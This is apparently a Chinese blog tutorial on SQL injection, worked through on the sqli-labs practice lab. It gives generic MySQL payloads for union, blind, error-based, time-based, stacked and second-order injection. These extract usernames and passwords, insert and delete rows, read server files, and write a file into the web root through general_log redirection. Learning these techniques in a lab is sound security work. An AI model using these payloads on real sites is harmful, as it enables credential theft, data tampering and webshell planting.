0
点赞
收藏
分享

微信扫一扫

SQL注入详解

即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

基于sqli-labs-master

联合注入

一、前提

页面上有回显

二、大体流程
  1. 判断注入点
  2. 使用order by推断字段数,即表中列的数量
  3. 使用union,确认显示位,即会显示的字段
  4. 获取数据库信息:数据库名>数据库表名>数据库表中所有字段>字段中数据
三、具体流程
1、判断注入点

分别输入?id=1和?id=2,发现登陆名和密码的后面都发生变化,可以判断此页面与数据库进行了交互,任何与数据库产生交互的地方,都可能存在注入

后面加一个 ' ,即http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

SQL注入详解_字段

此时发现错误,猜测后端执行的sql语句为

select * from xxx where id=$id limit 0,1;

再加一个 ' ,即http://127.0.0.1/sqli-labs-master/Less-1/?id=1"

SQL注入详解_数据_02

此时显示正常,猜测后端执行的sql语句为(id这个参数是被单引号包裹)

select * from xxx where id='$id' limit 0,1;

此时只需要将前面的单引号闭合,再将后面的语句注释掉,中间就可以插入我们想要执行的SQL语句了,即

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'--+

--起到的作用就是注释后面的语句,而+的意义是空格

在--注释时,需要使用空格,才能形成有效的sql语句

而使用-- (有个空格),在传输过程中空格会被忽略,所以要使用+来代替

这时后端执行的sql语句为

select * from xxx where id='1'--+' limit 0,1;(被注释)

2、order by猜出表中列的数量

union select:将两条查询语句拼接起来

但是前后两个select语句返回的字段数必须相同(即列的数量),否则无法拼接。

order by原本的用途是排序,order by x(x为一个数字),就会按照表中第x个字段进行重新排序。如果一个表的字段数只有10,但是我们用order by 11也就是,把第11个字段去排序,而数据库中并不存在第11字段,所以会报错。(通过第一关判断表中有3个字段)

3、使用union确认显示位(能够注入出数据的地方)

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

后端sql执行命令:

select * from xxx where id='-1' union select 1,2,3 --+' limit 0,1;

SQL注入详解_数据_03

id=1改成了id=-1,有时网页往往只能回显一行数据,所以我们要让前面第一个select语句的返回值为空,才能让后面的第二个select语句回显出数据,也就是我们自己要执行的攻击语句。

4、获取数据库信息
  1. 获数据库名

?id=-1' union select 1,database(),3--+

database()函数作用:返回默认或当前数据库的名称(security)

SQL注入详解_字段_04

  1. 获数据库表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

group_concat()函数作用是将多条数据合并显示为一条

MYSQL在5.0版本后会多出一张系统数据库(information_schema)其他数据库的库名,表名,字段名等信息都可以在这个数据库中查询到

(information_schema.tables:表示所有表的信息)

sql语句作用是:从information_schema.tables的所有表的信息中找到数据库名为"security"的所有表名

SQL注入详解_数据库_05

4个表名,其中users(用户)通常会存放用户的账号和密码

  1. 获users表中的所有字段

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

information_schema.columns:表示所有字段的信息

column_name:列的名称

sql语句的作用是,从information_schema.columns中找到数据库security中的users表中所有字段

SQL注入详解_字段_06

显示出表中有3个字段

  1. end,获字段的数据

查询username的值:?id=-1' union select 1,group_concat(username),3 from security.users--+

查询password的值:?id=-1' union select 1,group_concat(password),3 from security.users--+

SQL注入详解_数据库_07

SQL注入详解_数据_08

SQL注入详解_数据_09

布尔注入

一、准备工作
1、条件

当一个页面,存在注入,没显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常进行判断进行SQL注入。

2、判断注入点

?id=1正常而?id=1'无显示,证明闭合字符为单引号,可以sql注入

3、布尔注入常用函数

length(str):返回str字符串的长度。

substr(str, pos, len)&&mid(str,pos,len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始

ascii(str)&&ord(str):返回字符串str的最左面字符的ASCII代码值。

limit(0,1) : 第1个表,长度为1

注释部分

get请求

HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。也可以使用--%20,把空格转换为urlencode编码格式,也不会报错。同理把#变成%23,也不报错。

post请求

则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。

二、获取数据库信息
1、获数据库名长度

?id=1' and length(database())=8-- +有显示

SQL注入详解_SQL_10

?id=1' and length(database())=9-- +无显示

数据库长度为8(security)

?id=1' and length(database())>7 %23 也可以

2、获数据库名

(从第一个字母开始)

?id=1' and ascii(substr(database(),1,1))=8 -- +

第一个字符开始截取,截取一个长度,再将爆破的数字,用ascii码 编码转换器,解码成对应的字母

SQL注入详解_SQL_11

即第一个字母为s(十进制)(security)

3、获数据库中表的个数

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+

显示 you are in······即表个数为4。

4、获数据库中每个表的长度

判断第一个表的长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+

//判断第二个表的长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>7 --+

5、获每个表的表名

第一个表的第一个字符的ascii值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+

第一个表的第二个字符的ascii值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+

.........

由此可判断出存在表 emails、referers、uagents、users ,users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

6、获users表中的字段个数

?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>2 --+

7、获users每个字段的长度

判断第一个字段的长度

?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3 --+

判断第二个字段的长度

?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>18 --+

8、获每个字段名

判断每个字段名字的ascii值

//判断第一个字段的第一个字符的ascii

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+

判断第一个字段的第二个字符的ascii

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+

...........

由此可判断出users表中存在 id、username、password

9、end,获取数据

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据

1: 判断数据的长度

// 判断id字段的第一个数据的长度

?id=1' and length((select id from users limit 0,1))>7 --+

// 判断id字段的第二个数据的长度

?id=1' and length((select id from users limit 1,1))>7 --+

2:判断数据的ascii值

// 判断id字段的第一行数据的第一个字符的ascii值

?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+

// 判断id字段的第二行数据的第二个字符的ascii值

?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+

...........

报错注入

一、准备工作
1、报错函数

updatexml() 函数

原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。

updatexml(xml_document,xpath_string,new_value)

XML_document是String格式,为XML文档对象的名称

XPath_string (Xpath格式的字符串).

new_value,String格式,替换查找到的符合条件的数据。

SQL注入详解_SQL_12

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- +

0x7e 等价于 ~,包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。

  1. version():返回数据库版本
  2. concat():拼接特殊符号和查询结果

长度限制

updatexml() 函数的报错内容长度不能超过32个字符,常用的解决方式有两种:

  1. limit 分页
  2. substr()截取字符

eg:查询数据库用户

?id=-1' and updatexml(1,concat(0x7e,(select user from mysql.user limit 1,1)),3) -- +

?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(user)from mysql.user), 1 , 31)),3) -- +

extractvalue() 函数

二、获取数据库信息
1、获取数据库

?id=1' and updatexml(1,concat('~',database()),1) --+

SQL注入详解_数据库_13

2、获取表名

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

SQL注入详解_数据库_14

3、获取列名

?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),3) --+

SQL注入详解_字段_15

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)

SQL注入详解_数据_16

4、获取用户名和密码

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users )),3) --+

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users ))) --+

SQL注入详解_数据库_17

?id=1'and updatexml(1,concat(0x7e,(select group_concat(password) from users )),3) --+

SQL注入详解_SQL_18

例题

1' order by 4--+#爆字段

1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+#爆库

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db',0x7e limit 0,1),3)--+#爆表

1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb',0x7e limit 0,1),3)--+#爆列

1' and updatexml(1,concat(0x7e,(select flag from test_tb,0x7e limit 0,1),3)--+#提取flag

#用mid或reverse函数都可以提取完整flag

时间注入

一、准备工作

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。

判断闭合情况

?id=1' and (sleep(2))--+

?id=1') and (sleep(2))--+

函数

布尔注入的函数也会用到

length(str):返回str字符串的长度。

ascii(str)&&ord(str):返回字符串str的最左面字符的ASCII代码值。

limit(0,1) : 第1个表,长度为1

if(Condition,A,B)函数:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。

sleep()函数 :网页延迟n秒后,输出结果

left()函数 : 左边数,取几个数

substr(var1, var2, var3)

功能:从字符串里截取其中一段字符(串)

  • var1:被截取的字符串
  • var2:从哪一位开始截取
  • var3:截取长度
二、获取数据库信息
1、爆数据库名长度

?id=1' and if(length(database())>7,sleep(2),0)--+ 判断长度为8

2、爆数据库名

?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(2),0)--+

3、爆表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),1)--+

4、爆字段名

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+

堆叠注入

一、准备工作

前提:

有注入点:即存在sql注入漏洞

未过滤:即未对";"号进行过滤

未禁用:即未禁止执行多条sql语句

判断注入类型:?id=1' --+字符类型

判断回显的字段数:?id=-1' union select 1,2,3 --+

SQL注入详解_数据库_19

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),user() --+

联合注入方式获取字段

SQL注入详解_SQL_20

二、堆叠注入的利用

向表中插入数据:?id=-1';insert into users(id,username,password) value(66,'cyp','cyp23456'); --+

SQL注入详解_字段_21

删除刚插入的数据:?id=-1';delete from users where id=66 --+

这时输入?id=66没有回显,说明数据已被删除

二次注入

一、原理

攻击者通过构建恶意的数据并存到数据库中,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入

第一步:构造恶意语句

语句含有被转义字符的恶意查询语句

第二步:插入恶意数据

进行数据库插入数据时,对其中特殊字符进行了转义处理,在写入数据库时保留了原来的数据。

第三步:二次构造语句,引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出构造的恶意数据,没有进行进一步的检验

二、试验

24关,可以登入,但密码未知

SQL注入详解_字段_22

这时新建一个用户名和密码,登录并更改它的密码

SQL注入详解_数据库_23

SQL注入详解_数据_24

此时就把root的密码更改

SQL注入详解_数据_25

文件操作

一、读取文件信息

1、语句:select load_file(‘文件路径’)

例:?id=-1 union select 1,2,load_file('D://test.txt')--+

2、sqlmap语句:--file-read 文件路径 从数据库服务器中读取文件

例:python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --file-read "D:/test.txt"

二、直接写文件

select '' into outfile '目的文件'

select '' into dumpfile '目的文件' (用于二进制文件)

例:?id=-1 union select 1,2,'' into dumpfile 'D:\phpstudy_pro\WWW\a.php'--+

三、文件读写前提条件
  1. 用户权限足够高,尽量具有root权限。
  2. secure_file_priv 选项不对文件读写权限限制
  3. 知道绝对物理路径
  4. 能够使用联合查询(sql注入时)

查询当前用户是否有文件读写权限:

and (select File_priv from mysql.user where user='root' and host='localhost')='Y'%23

secure_file_priv参数用来限制数据导入和导出操作的效果

  • secure_file_prive=null 限制mysql 不允许导入和导出
  • secure_file_priv=/tmp/ 限制mysql 的导入和导出只能在/tmp/目录下
  • secure_file_priv= 不对mysqld 的导入和导出做限制

使用命令查看权限配置

show global variables like '%secure%';

四、突破secure_file_priv 选项限制

通过日志文件,原理都是修改日志存放的路径及文件,通过执行操作把木马存入修改后的日志中,达到写入木马的目的。

1、查看日志状态(默认禁止)

show variables like 'general_log%'; 查询日志

show variables like '%slow_query_log%'; 慢查询日志

2、开启日志记录

set global general_log = 'ON'; 查询日志set global slow_query_log=1; 慢查询日志

3、伪造(修改)日志文件的绝对路径以及文件名

set global general_log_file="D:/phpstudy_pro/WWW/test.php"; 查询日志set global slow_query_log_file='D:/phpstudy_pro/WWW/test.php’; 慢查询日志

默认日志路径已更改


4、执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中

select ''; 查询日志

select '' or sleep(11); 慢查询日志


举报

相关推荐

0 条评论